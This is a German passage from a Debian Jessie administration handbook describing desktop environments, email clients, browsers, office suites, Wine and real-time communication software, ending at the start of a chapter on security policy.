Diese Vielfältigkeit hat seine Ursachen in der Vergangenheit. KDE war das erste Projekt einer grafischen Arbeitsfläche, es entschied sich jedoch, den grafischen Werkzeugsatz Qt zu verwenden, eine Entscheidung, die für viele Entwickler nicht akzeptabel war. Zu jener Zeit war Qt nämlich keine freie Software, und so wurde GNOME auf der Basis des Werkzeugsatzes GTK+ ins Leben gerufen. Qt ist inzwischen freie Software geworden, aber die Projekte haben sich nicht zusammengeschlossen, sondern sich stattdessen parallel entwickelt.

GNOME und KDE arbeiten dennoch zusammen: unter dem Schirm von FreeDesktop.org kooperieren die Projekte bei der Festlegung von Standards zur Zusammenarbeit von Anwendungen.

Die Auswahl der „besten“ grafischen Arbeitsfläche ist ein heikles Thema, dem wir lieber aus dem Wege gehen möchten. Wir werden lediglich die zahlreichen Möglichkeiten beschreiben und einige Hinweise für weitere Überlegungen geben. Die beste Wahl wird die sein, die Sie nach einigem Ausprobieren treffen werden.

13.3.1. GNOME

Debian Jessie enthält GNOME in der Version 3.14, das einfach mit dem Befehl apt-get install gnome installiert werden kann (es kann auch durch Auswahl der Aufgabe „Debian Arbeitsumgebung“ installiert werden).

Bei GNOME sind seine Anstrengungen in den Bereichen Gebrauchsfreundlichkeit und Barrierefreiheit bemerkenswert. Professionelle Designer waren an der Erstellung von Standards und Empfehlungen beteiligt. Dies hat den Entwicklern geholfen, überzeugende grafische Benutzerschnittstellen zu schaffen. Das Projekt erhält Unterstützung auch von den großen Akteuren im Computerwesen, wie Intel, IBM, Oracle, Novell und natürlich verschiedenen Linux-Distributionen. Schließlich können zur Entwicklung von Anwendungen, die mit GNOME in Verbindung treten, viele verschiedene Programmiersprachen benutzt werden.

Abbildung 13.1. Die GNOME-Arbeitsfläche

Für Administratoren erscheint GNOME auf Masseneinsätze besser vorbereitet zu sein. Die Konfiguration der Applikation wird durch das GSettings Interface durchgeführt und es speichert seine Daten in der DConf Datenbank. Die Konfiguration kann so auch mittels der Kommandozeilentools gsettings und dconf oder mit dem grafischen Tool dconf-editor durchsucht und editiert werden. So kann der Administrator die Benutzereinstellungen mit einem simplen Script anpassen. Die folgende Webseite listet alle notwendigen Informationen auf, die ein Administrator zur Administration von GNOME Arbeitsstationen benötigt:

→ https://help.gnome.org/admin/

13.3.2. KDE

Debian Jessie enthält KDE in der Version 4.14, das mit dem Befehl apt-get install kde-standard installiert werden kann.

KDE hat aufgrund eines sehr pragmatischen Ansatzes eine rasante Entwicklung durchgemacht. Seine Entwickler haben schnell sehr gute Ergebnisse erzielt, wodurch sie eine große Benutzergemeinschaft aufbauen konnten. Diese Faktoren haben zur Gesamtqualität des Projekts beigetragen. KDE ist eine vollständig ausgereifte Arbeitsplatzumgebung mit einer reichen Auswahl an Anwendungen.

Abbildung 13.2. Die KDE-Arbeitsfläche

Seit der Veröffentlichung von Qt 4.0 gibt es das letzte verbliebene Lizenzproblem bei KDE nicht mehr. Diese Version wurde sowohl für Linux als auch für Windows unter der GPL veröffentlicht (wohingegen die Windows-Version vorher unter einer nicht-freien Lizenz veröffentlicht war). Beachten Sie, dass KDE-Anwendungen mit der Programmiersprache C++ entwickelt werden müssen.

13.3.3. Xfce und andere

Xfce ist eine einfache und leichtgewichtige grafische Arbeitsfläche, die hervorragend zu Rechnern mit begrenzten Ressourcen passt. Es kann mit dem Befehl apt-get install xfce4 installiert werden. Wie GNOME beruht auch Xfce auf GTK+, und mehrere Komponenten sind bei beiden Arbeitsflächen identisch.

Im Gegensatz zu GNOME und KDE zielt Xfce nicht darauf ab, ein großes Projekt zu sein. Außer den grundlegenden Komponenten einer modernen Arbeitsfläche (Dateimanager, Fenstermanager, Sitzungsmanager, einer Leiste für Anwendungsstarter und so weiter) stellt es nur einige besondere Anwendungen bereit: eine Konsole, einen Kalender (Orage), einen Bildbetrachter, ein CD/DVD-Brennprogramm, einen Medienspieler (Parole), eine Lautstärkensteuerung und einen Texteditor (mousepad) .

Abbildung 13.3. Die Xfce-Arbeitsfläche

Ein weiterer Desktop, der in Jessie zur Verfügung gestellt wird, ist LXDE, das Wert auf den "lightweight"-Aspekt legt. Es kann mithilfe des Metapakets lxde installiert werden.

13.4. E-Mail

13.4.1. Evolution

GEMEINSCHAFT Beliebt Pakete

Wenn man das Paket popularity-contest installiert, kann man an einer automatischen Erhebung teilnehmen, die das Debian-Projekt über die beliebtesten Pakete informiert. Einmal pro Woche wird von cron ein Skript ausgeführt, das (über HTTP oder E-Mail) eine anonymisierte Liste der installierten Pakete und des letzten Zugriffsdatums für die darin enthaltenen Dateien verschickt. So kann festgestellt werden, welche der installierten Pakete tatsächlich benutzt werden.

Diese Information ist für das Debian-Projekt eine große Hilfe. Sie wird für die Entscheidung darüber benutzt, welche Pakete in den ersten Installationsplatten enthalten sein sollen. Die Installationsdaten sind auch ein wichtiger Faktor für die Entscheidung, ob ein Paket mit nur sehr wenigen Nutzern aus der Distribution entfernt werden sollte. Wir empfehlen eindringlich, das Paket popularity-contest zu installieren und an der Erhebung teilzunehmen.

Die erhobenen Daten werden täglich veröffentlicht.

→ http://popcon.debian.org/

Diese Statistiken können auch dabei helfen, zwischen zwei Paketen zu wählen, die im übrigen gleichwertig erscheinen. Die Auswahl des beliebteren Pakets erhöht die Wahrscheinlichkeit, dass man damit eine gute Wahl trifft.

Evolution ist GNOMEs E-Mail-Client und kann mit dem Befehl apt-get install evolution installiert werden. Evolution ist mehr als ein einfacher E-Mail-Client und stellt auch einen Kalender, ein Adressbuch, eine Aufgabenliste und eine Notizanwendung (für frei formulierte Notizen) bereit. Seine E-Mail-Komponente umfasst ein leistungsstarkes Nachrichten-Indizierungssystem und ermöglicht die Erstellung virtueller Verzeichnisse aufgrund von Suchabfragen aller archivierten Nachrichten. Mit anderen Worten, alle Nachrichten werden in gleicher Weise gespeichert, werden aber nach Verzeichnissen geordnet angezeigt, bei der jedes Verzeichnis die Nachrichten enthält, die einen bestimmten Satz von Filterkriterien erfüllen.

Abbildung 13.4. Das E-Mail-Programm Evolution

Eine Erweiterung für Evolution ermöglicht seine Integration in ein Microsoft Exchange E-Mail-System; das erforderliche Paket ist evolution-ews.

13.4.2. KMail

KDEs E-Mail-Programm kann mit dem Befehl apt-get install kmail installiert werden. KMail verarbeitet zwar nur E-Mails, gehört jedoch zu einer Programmgarnitur namens KDE-PIM (für Personal Information Manager), die Leistungsmerkmale wie Adressbücher, eine Kalenderkomponente und so weiter enthält. KMail verfügt über alle Fähigkeiten, die man von einem vorzüglichen E-Mail-Client erwarten kann.

Abbildung 13.5. Das E-Mail-Programm KMail

13.4.3. Thunderbird und Icedove

Dieses im Paket icedove enthaltene E-Mail-Programm ist Teil der Mozilla-Programmgarnitur. Verschiedene Lokalisierungssätze stehen in Paketen des Typs icedove-l10n-* zur Verfügung; die Erweiterung enigmail handhabt die Verschlüsselung und Signierung von Nachrichten (ist aber leider nicht in allen Sprachen verfügbar).

Abbildung 13.6. Das E-Mail-Programm Icedove

Thunderbird ist einer der besten E-Mail-Clients und ist wohl wie Mozilla Firefox ein großer Erfolg.

Genau genommen enthält Debian Jessie Icedove und nicht Thunderbird, und zwar aus rechtlichen Gründen, auf die wir später in Seitenleiste KULTUR Iceweasel, Firefox und andere eingehen werden; aber abgesehen von ihren Namen (und Piktogrammen) bestehen zwischen ihnen keine wirklichen Unterschiede.

13.5. Web-Browser

Epiphany, der Web-Browser in der GNOME-Garnitur, verwendet das von Apple für seinen Safari-Browser entwickelte Anzeigeprogramm WebKit. Das entsprechende Paket heißt epiphany-browser.

Konqueror, der KDE-Dateimanager, fungiert auch als Web-Browser. Er verwendet das KDE-spezifische Darstellungsprogramm KHTML. Dass KHTML ein ausgezeichnetes Programm ist, belegt auch die Tatsache, dass Apples WebKit auf KHTML beruht. Konqueror steht über das Paket konqueror zur Verfügung.

Nutzer, denen keiner der oben genannten Browser gefällt, können Iceweasel verwenden. Dieser Browser, verfügbar im Paket iceweasel, nutzt den Gecko-Renderer des Mozilla-Projekts, auf den eine ressourcenschonende und erweiterbare Schnittstelle aufgesetzt wurde.

Abbildung 13.7. Der Web-Browser Iceweasel

KULTUR Iceweasel, Firefox und andere

Viele Nutzer werden ohne Zweifel über das Fehlen von Mozilla Firefox in den Menüs von Debian Jessie überrascht sein. Aber kein Grund zur Panik: das Paket iceweasel enthält Iceweasel, das im Grunde genommen Firefox unter einem anderen Namen ist.

Der Grund für diese Umbenennung liegt in den Nutzungsregeln, die von der Mozilla-Stiftung für das eingetragene Warenzeichen Firefox™ verfügt wurden: jedes als Firefox benannte Programm muss das offizielle Firefox-Logo und die offiziellen Piktogramme verwenden. Da diese Elemente jedoch nicht unter einer freien Lizenz veröffentlicht sind, kann Debian sie in seinem main-Bereich nicht anbieten. Anstatt den gesamten Browser in den Bereich non-free zu verschieben, hat sich der Paketbetreuer entschlossen, einen anderen Namen zu verwenden.

Der Befehl firefox ist im iceweasel-Paket noch vorhanden, aber nur, um die Kompatibilität mit Programmen, die es zu verwenden versuchen, sicherzustellen.

Aus ähnlichen Gründen wurde der E-Mail-Client Thunderbird™ in Icedove umbenannt.

KULTUR Mozilla

Netscape Navigator war der Standardbrowser, als das Web die Massen zu erreichen begann, aber er fiel immer weiter zurück, als Microsoft Internet Explorer erschien. Angesichts dieses Misserfolges entschied sich Netscape (das Unternehmen), seinen Quellcode „freizugeben“, indem es ihn unter einer freien Lizenz veröffentlichte, um ihm so ein neues Leben zu geben. Dies war der Beginn des Mozilla-Projekts. Nach vielen Jahren der Entwicklungsarbeit sind die Ergebnisse mehr als zufriedenstellend: das Mozilla-Projekt brachte ein HTML-Darstellungsprogramm (namens Gecko) hervor, das zu den standardkonformsten gehört. Dieses Programm wird insbesondere vom Mozilla Firefox-Browser verwendet, der einer der erfolgreichsten Browser mit einer schnell wachsenden Benutzergemeinschaft ist.

Nicht zuletzt enthält Debian auch den Chromium Webbrowser (verfügbar im Paket chromium-browser). Dieser Browser wird von Google mit einer solchen Geschwindigkeit weiterentwickelt, dass es fast unmöglich ist, eine einzelne Version über die Lebenszeit von Jessie zu behalten. Seine klare Absicht ist es, Internetdienste in zweierlei Hinsicht attraktiver zu gestalten, nämlich den Browser hinsichtlich seiner Geschwindigkeit zu optimieren und die Sicherheit des Nutzers zu verbessern. Der freie Code, der Chromium antreibt, wird auch von der proprietären Version verwendet, die Google Chrome heißt.

13.6. Entwicklung

13.6.1. Hilfsprogramme für GTK+ bei GNOME

Anjuta (im Paket anjuta) ist eine Entwicklungsumgebung, die zur Erstellung von GTK+-Anwendungen für GNOME optimiert ist. Glade (im Paket glade) ist ein Programm, das entwickelt wurde, um mit GTK+ grafische Schnittstellen für GNOME zu erstellen und sie als XML-Dateien abzuspeichern. Diese XML-Dateien können dann von der Programmbibliothek libglade geladen werden, die die gespeicherten Schnittstellen dynamisch nachbilden kann; ein derartiges Leistungsmerkmal kann zum Beispiel für Erweiterungen interessant sein, die Dialoge erfordern.

Anjutas Anwendungsbereich besteht darin, alle Fähigkeiten, die man von einer integrierten Entwicklungsumgebung erwarten würde, auf modulare Weise zu kombinieren.

13.6.2. Hilfsprogramme für Qt bei KDE

Die entsprechenden Anwendungen für KDE sind KDevelop (im Paket kdevelop) für die Entwicklungsumgebung und Qt-Designer (im Paket qttools5-dev-tools) zur Entwicklung grafischer Schnittstellen für QT-Anwendungen unter KDE.

13.7. Gemeinschaftliche Arbeit

13.7.1. In Gruppen arbeiten: groupware

Groupware-Tools neigen dazu relativ komplex zu administrieren sein, weil sie vielfältige Werkzeuge zusammenfassen und sie Anforderungen erfüllen, die im Kontext einer integrierten Dsitribution nicht immer leicht zu erfüllen sind. Daher gibt es eine lange Liste von Groupware, die bereits einmal in Debian verfügbar waren und wegen fehlender Weiterentwicklung oder Unverträglichkeit mit anderen (neueren) Programmen wieder fallen gelassen wurden. Das war der Fall bei PHPGroupwre, eGroupware und Kolab.

→ http://www.phpgroupware.org/

→ http://www.egroupware.org/

→ http://www.kolab.org/

Aber es ist nicht alles verloren. Zahlreiche Leistungsmerkmale, die traditionell von „Groupware“-Programmen bereitgestellt wurden, sind in zunehmendem Maße in „Standard“-Programmen enthalten. Dies verringert die Notwendigkeit besonders spezialisierter Groupware-Programme. Andererseits macht dies normalerweise einen besonderen Server erforderlich. Und noch interessanter, mit Citadel (im Paket citadel-suite) und Sogo (im Paket sogo) sind weitere Alternativen in Debian Jessie verfügbar.

13.7.2. Gemeinschaftliche Arbeit mit FusionForge

FusionForge ist ein Programm für gemeinschaftliche Entwicklungsarbeit mit einigen Anleihen bei SourceForge, einem Hostingdienst für freie Softwareprojekte. Es verwendet denselben allgemeinen Ansatz auf der Grundlage des Standardentwicklungsmodells für freie Software. Das Programm selbst hat sich weiterentwickelt, nachdem der SourceForge-Code proprietär wurde. Seine ursprünglichen Autoren, VA Software, entschieden sich, keine freien Versionen mehr zu veröffentlichen. Das Gleiche geschah ein weiteres Mal, als die erste Abspaltung (GForge) denselben Weg einschlug. Da verschiedene Personen und Organisationen an der Entwicklung beteiligt waren, enthält das jetzige FusionForge sowohl Merkmale, die einen traditionelleren Entwicklungsansatz verfolgen, als auch Projekte, die sich nicht ausschließlich mit der Entwicklung von Software befassen.

FusionForge kann als Verschmelzung mehrerer Hilfsprogramme gesehen werden, die der Verwaltung, Verfolgung und Koordinierung von Projekten dienen. Diese Hilfsprogramme können grob in drei Kategorien unterteilt werden:

- Kommunikation: Webforen, Mailinglist-Verwalter, Ankündigungssystem zur Nachrichtenveröffentlichung eines Projekts;

- Verfolgung: Aufgabenverfolgung zur Fortschrittskontrolle und Aufgabenterminierung, Verfolgung von Fehlern (oder Patches oder Funktionswünschen oder jeder anderen Art von „Tickets“), Erhebungen;

- Austausch: Dokumentationsverwalter zur Bereitstellung eines einheitlichen zentralen Ortes für projektbezogene Dokumente, allgemeiner Dateiveröffentlichungsmanager, speziell jedem Projekt zugeordnete Website.

Da FusionForge hauptsächlich auf Entwicklungsprojekte abzielt, umfasst es auch zahlreiche Hilfsprogramme wie CVS, Subversion, Git, Bazaar, Darcs, Mercurial und Arch für das Quellen-Kontrollmanagement beziehungsweise das „Konfigurationsmanagement“ oder die „Versionskontrolle“ - dieser Prozess hat viele Namen. Diese Programme speichern den Verlauf aller Revisionen aller verfolgten Dateien (häufig Quellcode-Dateien) mit allen Veränderungen, die diese durchmachen, und sie können Veränderungen zusammenführen, wenn mehrere Entwickler gleichzeitig am selben Teil eines Projekts arbeiten.

Die meisten dieser Hilfsprogramme sind über eine Webschnittstelle zugänglich oder werden sogar darüber verwaltet, mit einem detaillierten Berechtigungssystem und mit E-Mail-Benachrichtigungen für einige Vorgänge.

13.8. Office-Pakete

Büroprogramme galten in der Welt der freien Software lange Zeit als nicht vorhanden. Benutzer haben lange nach Ersatz für Microsoft-Programme wie Word und Excel gefragt, aber diese sind so komplex, dass Ersatz nur schwer zu entwickeln war. Die Situation änderte sich mit dem Start des Projekts OpenOffice.org (nachdem Sun den Code von StarOffice unter einer freien Lizenz veröffentlicht hatte). Heutzutage enthält Libre Office, ein Abkömmling von OpenOffice.org. Die GNOME- und KDE-Projekte arbeiten immer noch an ihren eigenen Angeboten (GNOME Office und Calligra Suite), und der freundliche Wettbewerb führt zu interessanten Ergebnissen. Zum Beispiel ist die Tabellenkalkulation Gnumeric (Teil von GNOME Office) in einigen Bereichen sogar besser als OpenOffice.org/LibreOffice, vor allem bei der Genauigkeit seiner Berechnungen. Auf dem Gebiet der Textverarbeitung sind die OpenOffice.org und Libre Office Suiten weiterhin wegweisend.

Ein weiteres für die Nutzer wichtiges Leistungsmerkmal ist die Fähigkeit, Word- und Excel-Dokumente, die man von Ansprechpartnern erhalten oder in Archiven gefunden hat, zu importieren. Obwohl alle Büropakete Filter besitzen, die es ermöglichen, mit diesen Formaten zu arbeiten, sind nur die von OpenOffice.org und Libre Office für den täglichen Gebrauch ausreichend funktionsfähig.

DER ÜBERBLICK Libre Office ersetzt OpenOffice.org

OpenOffice.org-Mitwirkende haben eine Stiftung gegründet (The Document Foundation), um die Projektentwicklung zu fördern. Die Idee wurde bereits seit einiger Zeit diskutiert, aber der eigentliche Auslöser war der Aufkauf von Sun durch Oracle. Die neuen Eigentumsverhältnisse machten die Zukunft von OpenOffice unter Oracle unsicher. Da sich Oracle weigerte, Mitglied der Stiftung zu werden, waren die Entwickler gezwungen, den Namen OpenOffice.org aufzugeben. Die Software heißt jetzt Libre Office. Nach einer Phase der Stagnation an der OpenOffice-Front hat Oracle entschieden, den Quelltext und zugehörige Rechte an die Apache Foundation zu übertragen und damit ist OpenOffice jetzt ein Apache-Projekt.

Debian enthält nur Libre Office. Die von der Apache Software Foundation veröffentlichte OpenOffice-Software-Suite ist derzeit nicht in Debian verfügbar.

Libre Office und Calligra Suite sind in den jeweiligen Debian-Paketen libreoffice und calligra verfügbar. Es gibt kein Paket für GNOME Office (dieses war gnome-office). Sprachspezifische Pakete für Libre Office werden in gesonderten Paketen veröffentlicht: libreoffice-l10n-* und libreoffice-help-* sind vor allem zu nennen; manche Funktionen, wie Wörterbücher, Trennungsregeln und Thesauri sind in getrennten Paketen, beispielsweise myspell-*/hunspell-*, hyphen-* und mythes-*. Beachten Sie, dass Calligra Suite früher KOffice hieß.

13.9. Windows emulieren: Wine

Trotz all der oben erwähnten Anstrengungen gibt es noch eine Anzahl von Programmen ohne Linux-Äquivalent, oder solche, für die die Originalversion unerlässlich ist. Hier sind Windows-Emulationssysteme nützlich. Das bekannteste unter ihnen ist Wine.

→ https://www.winehq.org/

ERGÄNZUNGEN CrossOver Linux

CrossOver, von CodeWeavers produziert, ist ein Satz von Verbesserungen für Wine, der den verfügbaren Satz emulierter Funktionen soweit erweitert, dass Microsoft Office vollständig nutzbar wird. Einige dieser Verbesserungen werden nach und nach in Wine aufgenommen.

→ http://www.codeweavers.com/products/

Man sollte jedoch nicht vergessen, dass dies nur eine von mehreren Lösungen ist, und dass das Problem auch mit einem virtuellen Rechner oder mit VNC angegangen werden kann; diese beiden Lösungen sind in den Seitenleisten ALTERNATIVE Virtuelle Rechner und ALTERNATIVE Windows Terminal Server oder VNC ausführlich beschrieben.

Lassen Sie uns mit einer Erinnerung beginnen: Emulierung ermöglicht es, ein Programm (das für ein bestimmtes Zielsystem entwickelt wurde) auf einem anderen Wirtssystem auszuführen. Das Emulationsprogramm benutzt das Wirtssystem, auf dem die Anwendung läuft, um die erforderlichen Funktionen des Zielsystems zu imitieren.

Nun installieren wir die benötigten Pakete (ttf-mscorefonts-installer befindet sich im contrib-Abschnitt):

# apt-get install wine ttf-mscorefonts-installer

Auf einem 64-Bit (amd64)-System müssen Sie Multi-Arch aktivieren, wenn Ihre Windows-Anwendungen 32-Bit-Anwendungen sind, um wine32 aus der i386-Architektur installieren zu können (siehe Abschnitt 5.4.5, „Multi-Arch Unterstützung“).

Der Anwender muss dann winecfg ausführen und angeben, welche (Debian-) Orte auf welche Windows-Laufwerke abgebildet werden. winecfg hat einige vernünftige Voreinstellungen und kann einige weitere Laufwerke automatisch erkennen; beachten Sie, dass auch wenn Sie ein Dual-Boot-System haben, Sie nicht das C:-Laufwerk von Wine auf die Windows-Partition zeigen lassen, da Wine wahrscheinlich einige Daten auf dieser Partition überschreibt, was Windows unbrauchbar machen würde. Andere Parameter können auf ihren voreingestellten Werten belassen werden. Um Windowsprogramme auszuführen, müssen Sie diese zuerst mittels ihrem Windows-Installer unter Wine installieren, zum Beispiel mit mit dem Befehl wine .../setup.exe; ist es erst einmal installiert, können Sie es mit wine .../program.exe ausführen. Der genaue Ablageort des Programms program.exe hängt davon ab, wohin das Laufwerk C: abgebildet wurde; in den meisten Fällen wird der Aufruf wine program funktionieren, da das Programm üblicherweise an einem Ort installiert wird, an welchem Wine von sich aus nachschaut.

TIPP Übergangslösung für ein winecfg Fehler

In einigen Fällen kann die Ausführung von winecfg (das nur ein Wrapper ist) fehlschlagen. Als Workaround ist es möglich, den zugrundeliegenden Befehl manuell auszuführen: wine64 /usr/lib/x86_64-linux-gnu/wine/win/winecfg.exe.so oder wine32 /usr/lib/i386-linux-gnu/win/win/win.exe.so.

Beachten Sie, dass Sie sich nicht auf Wine (oder ähnliche Lösungen) verlassen sollten, ohne das jeweilige Programm in der Praxis zu testen: Nur durch einen Test unter Realbedingungen kann man endgültig feststellen, ob die Emulierung vollständig funktionsfähig ist.

ALTERNATIVE Virtuelle Rechner

Eine Alternative zum Emulieren eines Microsoft-Betriebssystems besteht darin, es auf einem virtuellen Rechner laufen zu lassen, der einen vollständigen Hardware-Rechner simuliert. Auf diese Weise kann man auch beliebige andere Betriebssysteme laufen lassen. Kapitel 12, Erweiterte Verwaltung beschreibt verschiedene Virtualisierungssysteme, insbesondere Xen und KVM (aber auch QEMU, VMWare und Bochs).

ALTERNATIVE Windows Terminal Server oder VNC

Eine weitere Möglichkeit besteht darin, native Windowsanwendungen auf einem zentralen Server unter Windows Terminal Server laufen zu lassen und dann von Linux-Rechnern aus unter Verwendung von rdesktop darauf zuzugreifen. Letzteres ist ein Linux-Client für das RDP-Protokoll (Remote Desktop Protocol), das von Windows NT/2000 Terminal Server benutzt wird, um Arbeitsoberflächen auf entfernten Rechnern anzuzeigen.

VNC stellt ähnliche Leistungsmerkmale zur Verfügung, hat darüber hinaus aber noch den Vorteil, auch mit vielen anderen Betriebssystemen zu funktionieren. Linux-VNC-Clients und -Server sind in Abschnitt 9.2, „Remoteanmeldung“ beschrieben.

13.10. Echtzeit-Kommunikationssoftware

Debian bietet eine breite Palette von Real-Time Communications (RTC)-Client-Software. Die Einrichtung von RTC-Servern wird in Abschnitt 11.8, „Echtzeit-Kommunikationsdienste“ beschrieben. In der SIP-Terminologie wird eine Client-Anwendung oder -Gerät auch als User-Agent bezeichnet.

Jede Client-Anwendung unterscheidet sich in der Funktionalität. Einige Anwendungen sind für intensive Chat-Benutzer bequemer, während andere Anwendungen für Webcam-Benutzer stabiler sind. Es kann notwendig sein, mehrere Anwendungen zu testen, um diejenigen zu identifizieren, die am besten passen. Ein Benutzer kann schließlich entscheiden, dass er mehr als eine Anwendung benötigt, z.B. eine XMPP-Anwendung für Messaging mit Kunden und eine IRC-Anwendung für die Zusammenarbeit mit einigen Online-Communities.

Jede Client-Anwendung unterscheidet sich in der Funktionalität. Einige Anwendungen sind für intensive Chat-Benutzer bequemer, während andere Anwendungen für Webcam-Benutzer stabiler sind. Es kann notwendig sein, mehrere Anwendungen zu testen, um diejenigen zu identifizieren, die am besten passen. Ein Benutzer kann schließlich entscheiden, dass er mehr als eine Anwendung benötigt, z.B. eine XMPP-Anwendung für Messaging mit Kunden und eine IRC-Anwendung für die Zusammenarbeit mit manchen Online-Communities.

Der Standard-GNOME-Desktop enthält den Empathy-Kommunikations-Client. Empathie kann sowohl SIP als auch XMPP unterstützen. Es unterstützt Instant Messaging (IM), Sprache und Video. Der KDE-Desktop hält KDE Telepathy bereit, einen Kommunikations-Client, der auf den gleichen Telepathy-APIs basiert, die auch vom GNOME Empathy-Client verwendet werden.

Beliebte Alternativen zu Empathie/Telepathie sind Ekiga, Jitsi, Linphone, Psi und Ring (früher bekannt als SFLphone).

Einige dieser Anwendungen können auch mit mobilen Nutzern über Anwendungen wie Lumicall auf Android interagieren.

→ http://lumicall.org

Der Real-Time Communications Quick Start Guide enthält ein Kapitel über Client-Software.

→ http://rtcquickstart.org/guide/multi/useragents.html

TIPP Suchen Sie nach Clients, die ICE und TURN unterstützen

Einige RTC-Clients haben erhebliche Probleme beim Senden von Sprache und Video über Firewalls und NAT-Netzwerke. Benutzer können Geisteranrufe empfangen (ihr Telefon klingelt, aber sie hören die andere Person nicht) oder sie können überhaupt nicht anrufen.

Die Protokolle ICE und TURN wurden entwickelt, um diese Probleme zu lösen. Der Betrieb eines TURN-Servers mit öffentlichen IP-Adressen an jedem Standort und die Verwendung von Client-Software, die sowohl ICE als auch TURN unterstützt, bietet die beste Benutzererfahrung.

Wenn die Client-Software nur für Instant Messaging gedacht ist, ist keine ICE- oder TURN-Unterstützung erforderlich.

Debian-Entwickler betreiben einen Community-SIP-Dienst unter rtc.debian.org. Die Gemeinschaft unterhält ein Wiki mit Dokumentation über die Einrichtung vieler der in Debian paketierten Client-Anwendungen. Die Wiki-Artikel und Screenshots sind nützliche Hilfsmittel für jeden, der einen ähnlichen Dienst auf seiner eigenen Domain einrichtet.

→ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

ALTERNATIVE Internet Relay Chat

Zusätzlich zu SIP und XMPP kann man auch IRC in Betracht ziehen. IRC ist mehr auf das Konzept von Kanälen ausgerichtet, deren Namen mit einem Rautenzeichen # beginnen. Jeder Kanal ist gewöhnlich auf ein spezifisches Thema eingestellt, und eine beliebige Anzahl von Personen kann einem Kanal beitreten, um es dort zu diskutieren (aber Teilnehmer können, falls erforderlich, nach wie vor private Einzelgespräche führen). Das IRC-Protokoll ist bereits älter und ermöglicht keine durchgängige Verschlüsselung der Meldungen; es ist jedoch möglich, die Kommunikation zwischen den Teilnehmern und dem Server durch das Tunneln des IRC-Protokolls innerhalb von SSL zu verschlüsseln.

IRC-Clients sind etwas komplexer, und sie stellen gewöhnlich zahlreiche Leistungsmerkmale bereit, die in einer betrieblichen Umgebung nur von begrenztem Nutzen sind. So sind zum Beispiel Kanal-„Betreiber“ Teilnehmer, die mit der Fähigkeit ausgestattet sind, andere Teilnehmer aus dem Kanal zu werfen oder sie sogar dauerhaft auszusperren, wenn die normale Diskussion gestört wird.

Da das IRC-Protokoll sehr alt ist, gibt es zahlreiche auf verschiedene Nutzergruppen zugeschnittene Clients; zu ihnen zählen zum Beispiel XChat und Smuxi (grafische Clients, die auf GTK+ aufbauen), Irssi (Textmodus), Erc (in Emacs integriert) und so weiter.

KURZER BLICK Videokonferenzen mit Ekiga

Ekiga (früher GnomeMeeting genannt) ist eine bekannte Anwendung zur Führung von Videokonferenzen unter Linux. Es ist sowohl stabil als auch funktionell und kann in lokalen Netzwerken sehr leicht verwendet werden; das Einrichten des Dienstes in einem weltweiten Netzwerk ist dagegen wesentlich schwieriger, wenn die beteiligten Firewalls keine ausdrückliche Unterstützung für H323 oder das SIP-Telefonkonferenzprotokoll mit all ihren Eigenarten bieten.

Falls nur ein Ekiga-Client hinter der Firewall laufen soll, ist die Konfigurierung recht geradlinig und erfordert nur das Weiterleiten einiger Ports an den speziell dafür vorgesehenen Host: TCP-Port 1720 (wartet auf ankommende Verbindungen), TCP-Port 5060 (für SIP), TCP-Ports 30000 und 30010 (zur Kontrolle offener Verbindungen) und UDP-Ports 5000 bis 5100 (für die Übertragung von Audio- und Videodaten und die Registrierung bei einem H323-Proxy).

Wenn mehrere Ekiga-Clients hinter der Firewall laufen sollen, steigt die Komplexität beträchtlich an. Ein H323-Proxy (zum Beispiel das Paket gnugk) muss eingerichtet werden, und seine Konfigurierung ist alles andere als einfach.

Kapitel 14. Sicherheit

Ein Informationssystem kann je nach der Umgebung, in der es eingesetzt wird, unterschiedlich wichtig sein. Manchmal ist es für ein Unternehmen lebensnotwendig. Deshalb muss es vor verschiedenen Gefahren geschützt sein. Das Verfahren, bei dem diese Gefahren identifiziert werden und der passende Schutz festgelegt und eingerichtet wird, wird insgesamt als „Sicherheitsprozess“ bezeichnet.

14.1. Festlegen einer Sicherheitsstrategie

VORSICHT Anwendungsbereich dieses Kapitels

IT-Sicherheit ist ein ausgedehntes und sehr heikles Thema. Wir können daher nicht den Anspruch erheben, dies in umfassender Weise in einem einzelnen Kapitel zu beschreiben. Wir werden nur einige wichtige Punkte umreißen und einige Werkzeuge und Methoden beschreiben, die im Sicherheitsbereich von Nutzen sein können. Zur Vertiefung steht umfangreiche Literatur zur Verfügung, ganze Bücher sind diesem Thema gewidmet worden. Ein hervorragender Einstieg wäre zum Beispiel Linux Server Security von Michael D. Bauer (herausgegeben von O'Reilly).

Der Begriff „Sicherheit“ selbst deckt einen weiten Bereich von Konzepten, Werkzeugen und Verfahren ab, von denen jedoch keines allgemein gilt. Um unter ihnen eine Auswahl treffen zu können, muss man eine klare Vorstellung davon haben, was man erreichen möchte. Die Absicherung eines Systems beginnt mit der Beantwortung einiger Fragen. Wenn man überstürzt einen willkürlich ausgewählten Satz von Werkzeugen installiert, läuft man Gefahr, sich auf die falschen Aspekte der Sicherheit zu konzentrieren.

Als erstes legt man deshalb das Ziel fest. Ein guter Ansatz, der bei dieser Festlegung hilft, beginnt mit den folgenden Fragen:

- Was wollen wir schützen? Die Sicherheitsrichtlinie wird je nachdem, ob wir Rechner oder Daten schützen wollen, anders aussehen. Bei letzteren müssen wir auch noch wissen, um welche Daten es sich handelt.

- Wovor wollen wir uns schützen? Ist es der Verlust vertraulicher Daten? Versehentliche Datenverluste? Einnahmeausfälle durch Störungen im Betriebsablauf?

- Ferner, vor wem versuchen wir uns zu schützen? Sicherheitsmaßnahmen zum Schutz vor einem Tippfehler eines normalen Benutzers des Systems sind grundverschieden von Maßnahmen zum Schutz vor einer entschlossenen Gruppe von Angreifern.

Der Begriff „Gefahr“ wird normalerweise benutzt, um gleichermaßen von folgenden drei Faktoren zu sprechen: was geschützt werden soll, welches Ereignis verhindert werden soll, und wer versuchen wird, dieses Ereignis eintreten zu lassen. Um die Gefahr abzubilden, müssen alle drei Fragen beantwortet werden. Ausgehend von diesem Risikomodell können dann Sicherheitsrichtlinien erstellt und durch konkrete Maßnahmen umgesetzt werden.

HINWEIS Ständiges Infragestellen

